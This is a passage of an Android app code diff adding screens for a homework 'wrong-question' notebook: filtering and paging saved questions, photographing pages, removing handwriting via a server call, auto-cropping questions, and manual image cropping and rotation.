  336 + drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
  337 + last.setCompoundDrawables(null, null, drawable, null);
  338 + }
  339 + if (binding.recycleFilter.getVisibility() == View.GONE) {
  340 + if (filterAdapter != null) {
  341 + filterAdapter.refresh(list, textView, select);
  342 + } else {
  343 + filterAdapter = new FilterAdapter(context, new FilterAdapter.Filter() {
  344 + @Override
  345 + public void onSelect(TextView type, String select) {
  346 + switch (type.getId()) {
  347 + case R.id.tv_filter_grade:
  348 + grade = select;
  349 + break;
  350 + case R.id.tv_filter_subject:
  351 + subject = select;
  352 + break;
  353 + case R.id.tv_filter_manage:
  354 + manger = select;
  355 + break;
  356 + }
  357 + page = 1;
  358 + filterAdapter.refresh(select);
  359 + refreshError();
  360 + }
  361 + }, list, textView, select);
  362 + binding.recycleFilter.setLayoutManager(new GridLayoutManager(context, 4, LinearLayoutManager.VERTICAL, false));
  363 + binding.recycleFilter.setAdapter(filterAdapter);
  364 + }
  365 + binding.recycleFilter.setVisibility(View.VISIBLE);
  366 + textView.setTextColor(Color.parseColor("#1C90F3"));
  367 + Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_blue);
  368 + // 这一步必须要做,否则不会显示.
  369 + drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
  370 + textView.setCompoundDrawables(null, null, drawable, null);
  371 + last = textView;
  372 + } else {
  373 + if (textView.getId() == last.getId()) {
  374 + binding.recycleFilter.setVisibility(View.GONE);
  375 + textView.setTextColor(getColor(R.color.text_title));
  376 + Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray);
  377 + // 这一步必须要做,否则不会显示.
  378 + drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
  379 + textView.setCompoundDrawables(null, null, drawable, null);
  380 + } else {
  381 + filterAdapter.refresh(list, textView, select);
  382 + last.setTextColor(getColor(R.color.text_title));
  383 + Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray);
  384 + // 这一步必须要做,否则不会显示.
  385 + drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
  386 + last.setCompoundDrawables(null, null, drawable, null);
  387 + textView.setTextColor(Color.parseColor("#1C90F3"));
  388 + Drawable drawable1 = getResources().getDrawable(R.drawable.ic_filter_blue);
  389 + // 这一步必须要做,否则不会显示.
  390 + drawable1.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
  391 + textView.setCompoundDrawables(null, null, drawable1, null);
  392 + last = textView;
  393 + }
  394 + }
  395 + }
  396 +
  397 + private void refreshError() {
  398 + Map map = new HashMap();
  399 + if (!TextUtils.isEmpty(subject) && !"全部".equals(subject)) {
  400 + map.put("subject", subject);
  401 + }
  402 + if (!TextUtils.isEmpty(grade) && !"全部".equals(grade)) {
  403 + map.put("grade", grade);
  404 + }
  405 + if (!TextUtils.isEmpty(time) && !"全部".equals(time)) {
  406 + if ("一周内".equals(time)) {
  407 + map.put("time", 6);
  408 + } else if ("一个月内".equals(time)) {
  409 + map.put("time", 30);
  410 + } else if ("三个月内".equals(time)) {
  411 + map.put("time", 90);
  412 + }
  413 + }
  414 + if (!TextUtils.isEmpty(type) && !"全部".equals(type)) {
  415 + map.put("type", "课内".equals(type) ? 0 : 1);
  416 + }
  417 + if (!TextUtils.isEmpty(manger) && !"全部".equals(manger)) {
  418 + map.put("controlFlag", "已掌握".equals(manger) ? 0 : 1);
  419 + }
  420 + map.put("stuId", studentBean.getStuId());
  421 + map.put("pageSize", 10);
  422 + map.put("pageNum", page);
  423 + NetWorks.getError(map, new Observer<ResponseResult<PageInfo<TopicBean>>>() {
  424 + @Override
  425 + public void onSubscribe(Disposable d) {
  426 +
  427 + }
  428 +
  429 + @Override
  430 + public void onNext(ResponseResult<PageInfo<TopicBean>> result) {
  431 + if (result.getData() != null && result.getCode() == 200) {
  432 + total = result.getData().getTotal();
  433 + List<TopicBean> topicBeans = result.getData().getList();
  434 + loadError(topicBeans);
  435 + }
  436 + }
  437 +
  438 + @Override
  439 + public void onError(Throwable e) {
  440 + e.toString();
  441 + }
  442 +
  443 + @Override
  444 + public void onComplete() {
  445 +
  446 + }
  447 + });
  448 + }
  449 +
  450 + private void loadError(List<TopicBean> list) {
  451 + if (list.size() > 0) {
  452 + binding.recycle.setVisibility(View.VISIBLE);
  453 + binding.llEmpty.setVisibility(View.GONE);
  454 + if (adapter != null) {
  455 + if (page > 1) {
  456 + adapter.addData(list);
  457 + } else {
  458 + adapter.refresh(list);
  459 + }
  460 + } else {
  461 + adapter = new ErrorAdapter(context, list, false, new ErrorAdapter.CheckInterface() {
  462 + @Override
  463 + public void onErrorCheck() {
  464 + if (adapter.getChecKList().size() > 0) {
  465 + binding.tvSave.setText("批量修改标签" + "(" + adapter.getChecKList().size() + ")");
  466 + } else {
  467 + binding.tvSave.setText("批量修改标签");
  468 + }
  469 + }
  470 + });
  471 + LinearLayoutManager linearLayoutManager = new LinearLayoutManager(context, LinearLayoutManager.VERTICAL, false);
  472 + binding.recycle.setLayoutManager(linearLayoutManager);
  473 + binding.recycle.setAdapter(adapter);
  474 + binding.recycle.addOnScrollListener(new LoadMoreOnScrollListener(linearLayoutManager) {
  475 + @Override
  476 + public void onLoadMore(int currentPage) {
  477 + if (currentPage > page) {
  478 + new Thread(new Runnable() {
  479 + @Override
  480 + public void run() {
  481 + try {
  482 + runOnUiThread(new Runnable() {
  483 + @Override
  484 + public void run() {
  485 + if (page * 10 < total) {
  486 + page++;
  487 + refreshError();
  488 + }
  489 + }
  490 + });
  491 + } catch (Exception e) {
  492 + e.printStackTrace();
  493 + }
  494 + }
  495 + }).start();
  496 + }
  497 + }
  498 + });
  499 + }
  500 + } else {
  501 + if (page == 1) {
  502 + binding.recycle.setVisibility(View.GONE);
  503 + binding.llEmpty.setVisibility(View.VISIBLE);
  504 + }
  505 + }
  506 + }
  507 +
  508 + @Override
  509 + public boolean onKeyDown(int keyCode, KeyEvent event) {
  510 + if (keyCode == KeyEvent.KEYCODE_BACK) {
  511 + if (adapter != null && adapter.edit) {
  512 + adapter.setEdit(false);
  513 + binding.tvSave.setVisibility(View.GONE);
  514 + binding.tvAdd.setVisibility(View.VISIBLE);
  515 + binding.checkbox.setVisibility(View.GONE);
  516 + binding.llDelete.setVisibility(View.GONE);
  517 + binding.ivBack.setVisibility(View.VISIBLE);
  518 + binding.tvEdit.setText("编辑");
  519 + adapter.notifyDataSetChanged();
  520 + } else {
  521 + finish();
  522 + }
  523 + return true;
  524 + }
  525 + return super.onKeyDown(keyCode, event);
  526 + }
  527 +
  528 + @Override
  529 + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
  530 + super.onActivityResult(requestCode, resultCode, data);
  531 + if (requestCode == REQUEST_CODE_IMAGE && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) {
  532 + Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath));
  533 + String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  534 + CommonUtil.saveBitmapToUri(b, path);
  535 + List<String> strings = new ArrayList<>();
  536 + Intent intent = new Intent(context, ImageActivity.class);
  537 + strings.add(path);
  538 + intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
  539 + startActivity(intent);
  540 + }
  541 + }
  542 +
  543 + public class HandlerCallBack implements IHandlerCallBack<ImageInfo> {
  544 + private String TAG = "---ImagePicker---";
  545 + List<ImageInfo> photoList = new ArrayList<>();
  546 +
  547 + @Override
  548 + public void onStart() {
  549 + Log.i(TAG, "onStart: 开启");
  550 + }
  551 +
  552 + @Override
  553 + public void onSuccess(List<ImageInfo> photoList) {
  554 + this.photoList = photoList;
  555 + Log.i(TAG, "onSuccess: 返回数据");
  556 + }
  557 +
  558 + @Override
  559 + public void onCancel() {
  560 + Log.i(TAG, "onCancel: 取消");
  561 + }
  562 +
  563 + @Override
  564 + public void onFinish(List<ImageInfo> selectImage) {
  565 + if (selectImage.size() == photoList.size()) {
  566 + List<String> strings = new ArrayList<>();
  567 + Intent intent = new Intent(context, ImageActivity.class);
  568 + for (ImageInfo imageInfo : selectImage) {
  569 + strings.add(imageInfo.getPath());
  570 + }
  571 + intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
  572 + startActivity(intent);
  573 + }
  574 + }
  575 +
  576 + @Override
  577 + public void onError() {
  578 + Log.i(TAG, "onError: 出错");
  579 + }
  580 + }
  581 +
  582 + @Override
  583 + protected void onResume() {
  584 + refreshError();
  585 + super.onResume();
  586 + }
  587 +}
... ...
app/src/main/java/com/hjx/parent/ImageActivity.java
... ... @@ -0,0 +1,412 @@
  1 +package com.hjx.parent;
  2 +
  3 +import android.app.Dialog;
  4 +import android.content.Intent;
  5 +import android.graphics.Bitmap;
  6 +import android.graphics.BitmapFactory;
  7 +import android.graphics.Rect;
  8 +import android.net.Uri;
  9 +import android.os.Bundle;
  10 +import android.os.Handler;
  11 +import android.provider.MediaStore;
  12 +import android.text.TextUtils;
  13 +import android.util.Log;
  14 +import android.view.KeyEvent;
  15 +import android.view.View;
  16 +
  17 +
  18 +import androidx.annotation.Nullable;
  19 +import androidx.core.content.FileProvider;
  20 +import androidx.viewpager2.widget.ViewPager2;
  21 +
  22 +import com.google.gson.Gson;
  23 +import com.google.gson.JsonObject;
  24 +import com.hjx.parent.adapter.ImageAdapter;
  25 +import com.hjx.parent.databinding.ActivityImageBinding;
  26 +import com.hjx.parent.dialog.ErrorInputDialog;
  27 +import com.hjx.parent.dialog.TipDialog;
  28 +import com.prws.common.bean.CutPicBean;
  29 +import com.prws.common.bean.ImageBean;
  30 +import com.prws.common.bean.TopicBean;
  31 +import com.prws.common.net.NetWorks;
  32 +import com.prws.common.utils.BitmapUtils;
  33 +import com.prws.common.utils.CommonUtil;
  34 +
  35 +import java.io.File;
  36 +import java.util.ArrayList;
  37 +import java.util.List;
  38 +
  39 +import io.reactivex.Observer;
  40 +import io.reactivex.disposables.Disposable;
  41 +import retrofit2.Call;
  42 +import retrofit2.Callback;
  43 +import retrofit2.Response;
  44 +
  45 +public class ImageActivity extends BaseActivity<ActivityImageBinding> implements View.OnClickListener {
  46 +
  47 + private List<String> images = new ArrayList<>();
  48 + private ImageAdapter imageAdapter;
  49 + private List<ImageBean> list = new ArrayList<>();
  50 + private String filePath;
  51 +
  52 + @Override
  53 + public void initView(Bundle savedInstanceState) {
  54 + images = getIntent().getStringArrayListExtra("images");
  55 + for (String s : images) {
  56 + String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  57 + ImageBean imageBean = new ImageBean();
  58 + Bitmap bitmap = BitmapUtils.getimage(s);
  59 + CommonUtil.saveBitmapToUri(bitmap, filepath);
  60 + imageBean.setPath(filepath);
  61 + list.add(imageBean);
  62 + }
  63 + imageAdapter = new ImageAdapter(this, list);
  64 + binding.viewPager.setAdapter(imageAdapter);
  65 + binding.viewPager.registerOnPageChangeCallback(new ViewPager2.OnPageChangeCallback() {
  66 + @Override
  67 + public void onPageSelected(int position) {
  68 + binding.tvTitle.setText((binding.viewPager.getCurrentItem() + 1) + "/" + list.size());
  69 + if (position == 0) {
  70 + binding.ivPrevious.setImageResource(R.mipmap.ic_previous_gray);
  71 + binding.ivPrevious.setEnabled(false);
  72 + } else {
  73 + binding.ivPrevious.setImageResource(R.mipmap.ic_previous);
  74 + binding.ivPrevious.setEnabled(true);
  75 + }
  76 + if (position == list.size() - 1) {
  77 + binding.ivNext.setImageResource(R.mipmap.ic_next_gray);
  78 + binding.ivNext.setEnabled(false);
  79 + } else {
  80 + binding.ivNext.setImageResource(R.mipmap.ic_next);
  81 + binding.ivNext.setEnabled(true);
  82 + }
  83 + if (list.get(position).getCuts() == null) {
  84 + clearText();
  85 + }
  86 + super.onPageSelected(position);
  87 + }
  88 + });
  89 + binding.ivNext.setOnClickListener(this);
  90 + binding.ivPrevious.setOnClickListener(this);
  91 + binding.ivBack.setOnClickListener(this);
  92 + binding.tvPhoto.setOnClickListener(this);
  93 + binding.tvAdd.setOnClickListener(this);
  94 + binding.llEdit.setOnClickListener(this);
  95 + binding.tvSave.setOnClickListener(this);
  96 + }
  97 +
  98 + public void clearText() {
  99 + int index = binding.viewPager.getCurrentItem();
  100 + showLoadingDialog(getString(R.string.loading_text));
  101 + Log.i("clearText", list.get(index).getPath());
  102 + String base64 = BitmapUtils.imageToBase64(list.get(index).getPath());
  103 + NetWorks.removeWriting(base64, new Observer<JsonObject>() {
  104 + @Override
  105 + public void onSubscribe(Disposable d) {
  106 +
  107 + }
  108 +
  109 + @Override
  110 + public void onNext(JsonObject jsonObject) {
  111 + if (jsonObject != null && jsonObject.get("image_processed") != null) {
  112 + String image = jsonObject.get("image_processed").getAsString();
  113 + if (image != null) {
  114 + String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  115 + CommonUtil.saveBitmapToUri(BitmapUtils.stringToBitmap(image), filepath);
  116 + list.get(index).setPath(filepath);
  117 + imageAdapter.notifyItemChanged(index);
  118 + cut(filepath);
  119 + } else {
  120 + loadFail("去除字迹失败");
  121 + }
  122 + } else {
  123 + loadFail("去除字迹失败");
  124 + }
  125 + }
  126 +
  127 + @Override
  128 + public void onError(Throwable e) {
  129 + loadFail("去除字迹失败");
  130 + }
  131 +
  132 + @Override
  133 + public void onComplete() {
  134 +
  135 + }
  136 + });
  137 + }
  138 +
  139 + public void cut(String path) {
  140 + String base64 = BitmapUtils.imageToBase64(path);
  141 + Log.i("figLoaction", path);
  142 + NetWorks.cut(base64, new Observer<CutPicBean>() {
  143 + @Override
  144 + public void onSubscribe(Disposable d) {
  145 +
  146 + }
  147 +
  148 + @Override
  149 + public void onNext(CutPicBean cutPicBean) {
  150 + if (cutPicBean != null) {
  151 + if (cutPicBean.getDirection() != 0) {
  152 + rotatingImage(cutPicBean);
  153 + } else {
  154 + if (cutPicBean.getQus_figure() != null && cutPicBean.getQus_figure().size() > 0) {
  155 + List<CutPicBean.FigLoaction> figLoactions = new ArrayList<>();
  156 + for (CutPicBean.CutLocation cutLocation : cutPicBean.getQus_figure()) {
  157 + figLoactions.add(cutLocation.getFig_location());
  158 + }
  159 + new Handler().postDelayed(new Runnable() {
  160 + @Override
  161 + public void run() {
  162 + getRects(figLoactions);
  163 + }
  164 + }, 1000);
  165 + } else {
  166 + cancelLoadingDialog();
  167 + }
  168 + }
  169 + } else {
  170 + loadFail("自动切题失败");
  171 + }
  172 + }
  173 +
  174 + @Override
  175 + public void onError(Throwable e) {
  176 + loadFail("自动切题失败");
  177 + }
  178 +
  179 + @Override
  180 + public void onComplete() {
  181 +
  182 + }
  183 + });
  184 + }
  185 +
  186 + private void getRects(List<CutPicBean.FigLoaction> figLoactions) {
  187 + Log.i("figLoaction", new Gson().toJson(figLoactions));
  188 + int index = binding.viewPager.getCurrentItem();
  189 + List<ImageBean.Cut> cuts = new ArrayList<>();
  190 + for (CutPicBean.FigLoaction figLoaction : figLoactions) {
  191 + ImageBean.Cut cut = new ImageBean.Cut();
  192 + cut.setRect(figLoaction);
  193 + cut.setSelect(false);
  194 + cuts.add(cut);
  195 + }
  196 + list.get(index).setCuts(cuts);
  197 + imageAdapter.notifyItemChanged(index);
  198 + cancelLoadingDialog();
  199 + }
  200 +
  201 + private void rotatingImage(CutPicBean cutPicBean) {
  202 + int index = binding.viewPager.getCurrentItem();
  203 + Bitmap bitmap = BitmapFactory.decodeFile(list.get(index).getPath());
  204 + int angle = 0;
  205 + switch (cutPicBean.getDirection()) {
  206 + case 1:
  207 + angle = 90;
  208 + break;
  209 + case 2:
  210 + angle = 180;
  211 + break;
  212 + case 3:
  213 + angle = 270;
  214 + break;
  215 + }
  216 + if (cutPicBean.getQus_figure() != null && cutPicBean.getQus_figure().size() > 0) {
  217 + List<CutPicBean.FigLoaction> figLoactions = new ArrayList<>();
  218 + for (CutPicBean.CutLocation cutLocation : cutPicBean.getQus_figure()) {
  219 + figLoactions.add(cutLocation.getFig_location());
  220 + }
  221 + figLoactions = CommonUtil.rotaingLocation(angle, figLoactions, bitmap.getWidth(), bitmap.getHeight());
  222 + bitmap = CommonUtil.rotaingImageView(angle, bitmap);
  223 + String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  224 + CommonUtil.saveBitmapToUri(bitmap, filepath);
  225 + list.get(index).setPath(filepath);
  226 + imageAdapter.notifyItemChanged(index);
  227 + List<CutPicBean.FigLoaction> finalFigLoactions = figLoactions;
  228 + new Handler().postDelayed(new Runnable() {
  229 + @Override
  230 + public void run() {
  231 + getRects(finalFigLoactions);
  232 + }
  233 + }, 500);
  234 + } else {
  235 + cancelLoadingDialog();
  236 + }
  237 + }
  238 +
  239 + @Override
  240 + protected ActivityImageBinding getViewBinding() {
  241 + return ActivityImageBinding.inflate(getLayoutInflater());
  242 + }
  243 +
  244 + public void refreshNum() {
  245 + int num = 0;
  246 + for (ImageBean imageBean : list) {
  247 + if (imageBean.getCuts() != null && imageBean.getCuts().size() > 0) {
  248 + for (ImageBean.Cut cut : imageBean.getCuts()) {
  249 + if (cut.isSelect()) {
  250 + num++;
  251 + }
  252 + }
  253 + }
  254 + }
  255 + if (num > 0) {
  256 + binding.tvSave.setEnabled(true);
  257 + binding.tvSave.setBackgroundResource(R.drawable.bg_soild_blue_5);
  258 + binding.tvSave.setText("保留错题(" + num + ")");
  259 + } else {
  260 + binding.tvSave.setEnabled(false);
  261 + binding.tvSave.setBackgroundResource(R.drawable.bg_soild_blue_light_5);
  262 + binding.tvSave.setText("保留错题");
  263 + }
  264 + }
  265 +
  266 + @Override
  267 + public void onClick(View v) {
  268 + switch (v.getId()) {
  269 + case R.id.iv_back:
  270 + back();
  271 + break;
  272 + case R.id.iv_next:
  273 + binding.viewPager.setCurrentItem(binding.viewPager.getCurrentItem() + 1);
  274 + break;
  275 + case R.id.iv_previous:
  276 + binding.viewPager.setCurrentItem(binding.viewPager.getCurrentItem() - 1);
  277 + break;
  278 + case R.id.ll_edit:
  279 + Intent intent = new Intent(context, ImageEditActivity.class);
  280 + intent.putExtra("path", list.get(binding.viewPager.getCurrentItem()).getPath());
  281 + startActivityForResult(intent, 1001);
  282 + break;
  283 + case R.id.tv_photo:
  284 + Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
  285 + //确保有相机来处理Intent
  286 + filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  287 + File photoFile = new File(filePath);
  288 + if (photoFile != null) {
  289 + //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
  290 + Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
  291 + takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
  292 + takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
  293 + activity.startActivityForResult(takePictureIntent, 1002);
  294 + }
  295 + break;
  296 + case R.id.tv_add:
  297 + Intent intent1 = new Intent(context, ImageSelectActivity.class);
  298 + intent1.putExtra("path", list.get(binding.viewPager.getCurrentItem()).getPath());
  299 + startActivityForResult(intent1, 1001);
  300 + break;
  301 + case R.id.tv_save:
  302 + List<TopicBean> topicBeans = new ArrayList<>();
  303 + for (ImageBean imageBean : list) {
  304 + if (imageBean.getCuts() != null && imageBean.getCuts().size() > 0) {
  305 + for (ImageBean.Cut cut : imageBean.getCuts()) {
  306 + if (cut.isSelect()) {
  307 + TopicBean bean = new TopicBean();
  308 + String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  309 + BitmapUtils.saveBitmap(cut.getBitmap(), path);
  310 + bean.setPath(path);
  311 + topicBeans.add(bean);
  312 + }
  313 + }
  314 + }
  315 + }
  316 + ErrorInputDialog dialog = new ErrorInputDialog(this, topicBeans);
  317 + dialog.show();
  318 + break;
  319 + }
  320 + }
  321 +
  322 + @Override
  323 + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
  324 + super.onActivityResult(requestCode, resultCode, data);
  325 + if (requestCode == 1001) {
  326 + if (resultCode == 1002) {
  327 + if (list.size() > 1) {
  328 + list.remove(binding.viewPager.getCurrentItem());
  329 + imageAdapter.notifyItemRemoved(binding.viewPager.getCurrentItem());
  330 + binding.tvTitle.setText((binding.viewPager.getCurrentItem() + 1) + "/" + list.size());
  331 + refreshNum();
  332 + } else {
  333 + finish();
  334 + }
  335 + } else if (resultCode == 1003) {
  336 + int position = binding.viewPager.getCurrentItem();
  337 + list.remove(position);
  338 + String path = data.getStringExtra("path");
  339 + ImageBean imageBean = new ImageBean();
  340 + imageBean.setPath(path);
  341 + list.add(position, imageBean);
  342 + imageAdapter.notifyItemChanged(position);
  343 + clearText();
  344 + refreshNum();
  345 + } else if (resultCode == 1004) {
  346 + Rect rect = data.getParcelableExtra("cut");
  347 + if (rect != null) {
  348 + int position = binding.viewPager.getCurrentItem();
  349 + ImageBean.Cut cut = new ImageBean.Cut();
  350 + cut.setRect1(rect);
  351 + cut.setSelect(false);
  352 + list.get(position).getCuts().add(cut);
  353 + imageAdapter.notifyItemChanged(position);
  354 + refreshNum();
  355 + }
  356 + } else if (resultCode == 1005) {
  357 + int i = data.getIntExtra("position", 0);
  358 + int position = binding.viewPager.getCurrentItem();
  359 + Rect rect = data.getParcelableExtra("cut");
  360 + if (rect != null) {
  361 + ImageBean.Cut cut = new ImageBean.Cut();
  362 + cut.setRect1(rect);
  363 + cut.setSelect(false);
  364 + list.get(position).getCuts().remove(i);
  365 + list.get(position).getCuts().add(i, cut);
  366 + imageAdapter.notifyItemChanged(position);
  367 + refreshNum();
  368 + } else {
  369 + list.get(position).getCuts().remove(i);
  370 + imageAdapter.notifyItemChanged(position);
  371 + refreshNum();
  372 + }
  373 + }
  374 + } else if (requestCode == 1002 && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) {
  375 + Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath));
  376 + String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  377 + CommonUtil.saveBitmapToUri(b, path);
  378 + int position = binding.viewPager.getCurrentItem();
  379 + list.remove(position);
  380 + ImageBean imageBean = new ImageBean();
  381 + imageBean.setPath(path);
  382 + list.add(position, imageBean);
  383 + imageAdapter.notifyItemChanged(position);
  384 + clearText();
  385 + refreshNum();
  386 + }
  387 + }
  388 +
  389 + private void back() {
  390 + showTipDialog("温馨提示", "是否确认退出?", "取消", "确定", new TipDialog.TipDialogInterface() {
  391 + @Override
  392 + public void onConfirm(Dialog dialog) {
  393 + dialog.dismiss();
  394 + finish();
  395 + }
  396 +
  397 + @Override
  398 + public void onCancel(Dialog dialog) {
  399 + dialog.dismiss();
  400 + }
  401 + });
  402 + }
  403 +
  404 + @Override
  405 + public boolean onKeyDown(int keyCode, KeyEvent event) {
  406 + if (keyCode == KeyEvent.KEYCODE_BACK) {
  407 + back();
  408 + return true;
  409 + }
  410 + return super.onKeyDown(keyCode, event);
  411 + }
  412 +}
... ...
app/src/main/java/com/hjx/parent/ImageEditActivity.java
... ... @@ -0,0 +1,224 @@
  1 +package com.hjx.parent;
  2 +
  3 +import android.app.Dialog;
  4 +import android.content.Intent;
  5 +import android.graphics.Bitmap;
  6 +import android.graphics.BitmapFactory;
  7 +import android.graphics.Rect;
  8 +import android.hardware.camera2.CameraCharacteristics;
  9 +import android.net.Uri;
  10 +import android.os.Bundle;
  11 +import android.os.SystemClock;
  12 +import android.provider.MediaStore;
  13 +import android.text.TextUtils;
  14 +import android.util.Log;
  15 +import android.view.KeyEvent;
  16 +import android.view.MotionEvent;
  17 +import android.view.View;
  18 +import android.widget.RelativeLayout;
  19 +
  20 +import androidx.annotation.Nullable;
  21 +import androidx.core.content.FileProvider;
  22 +
  23 +import com.hjx.parent.databinding.ActivityImageEditBinding;
  24 +import com.hjx.parent.dialog.TipDialog;
  25 +import com.prws.common.utils.BitmapUtils;
  26 +import com.prws.common.utils.CommonUtil;
  27 +import com.prws.common.widget.MarkSizeView;
  28 +import com.zhangteng.imagepicker.bean.ImageInfo;
  29 +import com.zhangteng.imagepicker.config.ImagePickerConfig;
  30 +import com.zhangteng.imagepicker.config.ImagePickerEnum;
  31 +import com.zhangteng.imagepicker.config.ImagePickerOpen;
  32 +import com.zhangteng.imagepicker.imageloader.GlideImageLoader;
  33 +import com.zhangteng.utils.IHandlerCallBack;
  34 +
  35 +import java.io.File;
  36 +import java.util.ArrayList;
  37 +import java.util.List;
  38 +
  39 +public class ImageEditActivity extends BaseActivity<ActivityImageEditBinding> {
  40 + private Bitmap bitmap;
  41 + private String filepath;
  42 +
  43 + @Override
  44 + public void initView(Bundle savedInstanceState) {
  45 + String path = getIntent().getStringExtra("path");
  46 + bitmap = BitmapFactory.decodeFile(path);
  47 + showImage(true);
  48 + binding.markView.setmOnClickListener(new MarkSizeView.onClickListener() {
  49 + @Override
  50 + public void onConfirm(Rect markedArea) {
  51 + Bitmap backGroundBitmap = binding.markView.getBackGroundBitmap();
  52 + int bitmapWidth = backGroundBitmap.getWidth();
  53 + int bitmapHeight = backGroundBitmap.getHeight();
  54 + int markSizeViewWidth = binding.markView.getWidth();
  55 + int markSizeHeight = binding.markView.getHeight();
  56 + Log.d(toString(), markedArea.toString());
  57 + int widthFold = (int) CommonUtil.div(bitmapWidth, markSizeViewWidth, 2);
  58 + int heightFold = (int) CommonUtil.div(bitmapHeight, markSizeHeight, 2);
  59 +
  60 + markedArea.left = CommonUtil.mulForInt(markedArea.left, widthFold);
  61 + markedArea.top = CommonUtil.mulForInt(markedArea.top, heightFold);
  62 + markedArea.right = CommonUtil.mulForInt(markedArea.right, widthFold);
  63 + markedArea.bottom = CommonUtil.mulForInt(markedArea.bottom, heightFold);
  64 + Log.d(toString(), "markedArea.left=" + markedArea.left + "markedArea.top=" + markedArea.top
  65 + + ";markedArea.right=" + markedArea.right + ";markedArea.bottom=" + markedArea.bottom);
  66 + bitmap = Bitmap.createBitmap(backGroundBitmap,
  67 + markedArea.left,
  68 + markedArea.top,
  69 + (markedArea.right - markedArea.left) > bitmapWidth ? bitmapWidth : markedArea.right - markedArea.left,
  70 + (markedArea.bottom - markedArea.top) > bitmapHeight ? bitmapHeight : markedArea.bottom - markedArea.top);
  71 + binding.markView.reset();
  72 + showImage(false);
  73 + }
  74 +
  75 + @Override
  76 + public void onCancel() {
  77 +
  78 + }
  79 +
  80 + @Override
  81 + public void onTouch() {
  82 +
  83 + }
  84 + });
  85 + binding.llRotate.setOnClickListener(new View.OnClickListener() {
  86 + @Override
  87 + public void onClick(View v) {
  88 + bitmap = BitmapUtils.routeBitmap(bitmap);
  89 + showImage(false);
  90 + }
  91 + });
  92 + binding.ivBack.setOnClickListener(new View.OnClickListener() {
  93 + @Override
  94 + public void onClick(View v) {
  95 + back();
  96 + }
  97 + });
  98 + binding.llDelete.setOnClickListener(new View.OnClickListener() {
  99 + @Override
  100 + public void onClick(View v) {
  101 + setResult(1002);
  102 + finish();
  103 + }
  104 + });
  105 + binding.tvSave.setOnClickListener(new View.OnClickListener() {
  106 + @Override
  107 + public void onClick(View v) {
  108 + Bitmap b = BitmapUtils.compress(bitmap);
  109 + String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  110 + CommonUtil.saveBitmapToUri(b, filepath);
  111 + Intent intent = new Intent();
  112 + intent.putExtra("path", filepath);
  113 + setResult(1003, intent);
  114 + finish();
  115 + }
  116 + });
  117 + binding.llPhoto.setOnClickListener(new View.OnClickListener() {
  118 + @Override
  119 + public void onClick(View v) {
  120 + Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
  121 + //确保有相机来处理Intent
  122 + filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  123 + File photoFile = new File(filepath);
  124 + if (photoFile != null) {
  125 + //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
  126 + Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
  127 + takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
  128 + takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
  129 + activity.startActivityForResult(takePictureIntent, 1);
  130 + }
  131 + }
  132 + });
  133 + }
  134 +
  135 + private void back() {
  136 + showTipDialog("温馨提示", "是否确认放弃当前的编辑?", "取消", "确定", new TipDialog.TipDialogInterface() {
  137 + @Override
  138 + public void onConfirm(Dialog dialog) {
  139 + dialog.dismiss();
  140 + finish();
  141 + }
  142 +
  143 + @Override
  144 + public void onCancel(Dialog dialog) {
  145 + dialog.dismiss();
  146 + }
  147 + });
  148 + }
  149 +
  150 + @Override
  151 + public boolean onKeyDown(int keyCode, KeyEvent event) {
  152 + if (keyCode == KeyEvent.KEYCODE_BACK) {
  153 + back();
  154 + return true;
  155 + }
  156 + return super.onKeyDown(keyCode, event);
  157 + }
  158 +
  159 + private void showImage(boolean cut) {
  160 + float imageHeight = bitmap.getHeight();
  161 + float imageWidth = bitmap.getWidth();
  162 + float viewHeight = CommonUtil.getScreenHeight(context) - CommonUtil.dpToPx(context, 210);
